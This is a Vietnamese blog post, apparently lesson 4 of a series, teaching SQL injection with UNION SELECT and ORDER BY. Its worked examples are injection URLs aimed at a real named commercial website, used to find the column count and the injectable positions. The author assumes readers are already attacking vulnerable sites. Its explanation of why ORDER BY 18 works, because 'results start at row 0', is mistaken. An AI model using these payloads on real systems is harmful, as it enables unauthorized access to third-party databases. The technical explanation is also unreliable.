Thứ Sáu, 24 tháng 5, 2013

[SQL]Bài số 4 - Basic

Chào tất cả các bạn . Qua 3 bài học trên chắc hẳn các bạn đã Inject được nhiều website lỗi rồi nhỉ . Mình viết bài này để giúp các bạn hiểu thêm về những câu lệnh mà các bạn đã sử dụng để khai thác !

Những cái cần thiết :
1 ebook Mysql mà trên mạng tìm cái là thấy
Tools :
Navicate For Mysql
Cài localhost (Nên cài Xamp hoặc Wam)

Về UNION SELECT :
UNION : Các bạn cứ hiểu nó là phép hợp trong toán . Union 2 bảng .
Bảng 1 và 2 có những cột nào thì nó lấy hết . Gộp hết lại rồi đưa ra kết quả



Quote:
Union Select 1,2,3,4,...,n
Câu lệnh Union trên . Các bạn có hiểu tại sao nó ghi 1,2,3 ... . Chúng ta ghi theo thứ tự như vậy không
1,2,3 ... Đó chính là số cột của bảng thứ 2 đó .

Thực ra ghi như thế nào không quan trọng . Cái quan trọng là số lượng cột union vào phải đủ . Chúng ta ghi theo thứ tự để dễ xác định đâu là vị trí lỗi . Ghi null cũng chả sao cả

Ví dụ cụ thể luôn cho dễ hình dung nhé :
Mã:
http://xuongcanton.com/?frame=product&p=-510+Union+Select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Bây h mình sẽ làm thế này :
Mã:
http://xuongcanton.com/?frame=product&p=-510+Union+Select+1,2,300000,4,5,6,7,8,9,10,11,12,13000,14,15,16,17,18--
Vẫn hiện số lỗi như bình thường .
Các bạn chú ý nhé . 2 số mình đánh dấu màu đỏ . Minh ghi có đúng thứ từ đâu . Vậy mà nó vẫn show số lỗi ra đó thôi . Cái cần chú ý thứ 2 ở đây là . Nếu như cúng ta không biết được lỗi ở số nào . Vậy làm theo cách trên của mình . Sẽ biết ngay mà . Site này lỗi số 3 và 13 . Ồ . thay đổi 3 ~> 300000 và 13000 . Số lỗi nhận về cũng thay đổi theo . Hé hé . Chuẩn là vị trí lỗi có thể khai thác được rồi . (1 cách nữa xác định đâu là vị trí lỗi nhé các bạn)

Còn về phần ORDER BY :
Order by là câu lệnh chúng ta sắp xếp kết quả trả về theo cột mà chúng ta muốn . Kết quả trả về sẽ bắt đầu từ dòng số 0 . Vì vậy nếu ta Order By 18 không có lỗi . Order By 19 lại lỗi như cũ . Như theo hướng dẫn các bạn sẽ xác định được số columns là 18 phải không nào ?
Mã:
http://xuongcanton.com/?frame=product&p=510+ORDER+BY+18
Mã:
http://xuongcanton.com/?frame=product&p=510+ORDER+BY+19
Tại sao lại là 18 và không phải 19 ?

Như Mình nói đó . Kết quả trả về bắt đầu từ dòng số 0
Mã:
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
~> ORDER BY 19 nhé
Mã:
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
~> ORDER By 18

Sang union :
Mã:
http://xuongcanton.com/?frame=product&p=-510+Union+Select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
~> Không thấy số lỗi
Mã:
http://xuongcanton.com/?frame=product&p=-510+Union+Select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
~> Thấy số lỗi nhưng lại là : 2 và 12 . He . Không lo gì cả .
Các bạn để ý tính từ trái qua phải coi . Có phải số 2 là vị trí thứ 3 , 12 là vị trí 13 không

Okay . Mong rằng qua bài này các bạn sẽ hiểu các bạn đang inject cái gì và inject như thế nào

Không có nhận xét nào:

Đăng nhận xét